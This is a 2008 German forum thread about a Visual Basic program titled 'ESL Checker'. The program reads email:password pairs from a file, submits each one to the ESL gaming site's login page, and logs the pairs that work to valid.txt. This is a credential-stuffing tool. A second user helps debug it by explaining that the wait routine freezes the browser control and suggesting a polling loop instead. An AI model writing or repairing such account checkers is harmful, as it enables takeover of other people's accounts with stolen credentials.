Tool geht mit MsgBox aber ohne nicht? Verfasst am: 10.07.2008, 16:50
Ich habe folgenden Code: Visual Basic: [code]Private Sub Command2_Click() Open Text1.Text For Input As #1 Do Line Input #1, zeile123 zeile() = Split(zeile123, ":") WebBrowser1.Navigate "http://www.esl.eu/eu/css/1on1/ladder/login/save/?email_id=" & zeile(0) & "&password=" & zeile(1) Wait 1500 'MsgBox WebBrowser1.LocationURL If WebBrowser1.LocationURL = "http://www.esl.eu/eu/css/1on1/ladder/login/validate" Then Open "valid.txt" For Append As #2 Print #2, zeile123 Close #2 Else Open "invalid.txt" For Append As #3 Print #3, zeile123 Close #3 End If Wait 500 Loop While Not EOF(1) Close #1 MsgBox "Alle Logins wurden gecheckt.", vbOKOnly, "ESL Checker - imi-tat0r" End Sub[/code]
Dieser code funktioniert nicht wegen dem Visual Basic: [code]'MsgBox WebBrowser1.LocationURL[/code] wenn ich schreibe Visual Basic: [code]MsgBox WebBrowser1.LocationURL[/code] dann geht es. Woran kann das liegen? Wait ist definiert
ZiG Überflieger
Anmeldedatum: 16.04.2008 Beiträge: 421
Verfasst am: 10.07.2008, 16:59
Kann mir nur vorstellen dass es ne waitfunktion ist, die das ganze Prog komplett einfriert und so auch den webbrowser.
Wenn die msgbox aktiv ist, dann ladet der webbrowser im Hintergrund weiter und somit funktioniert der code dann auch.
Statt dem wait solltest du ne Schleife einbauen die solange läuft bis das gewünschte Ergebnis erreicht ist. Zusätzlich wäre ein Timer für nen Timeout noch gut.
imi-tat0r Newbie
Anmeldedatum: 10.07.2008 Beiträge: 8
Verfasst am: 10.07.2008, 17:11
habs mal probiert ich bekomms iwie nicht richtig hin. Kannste mir ne wait funktion geben die wirklich einfach nur wartet und net wie sleep das tool einfriert?
Registrieren
Login
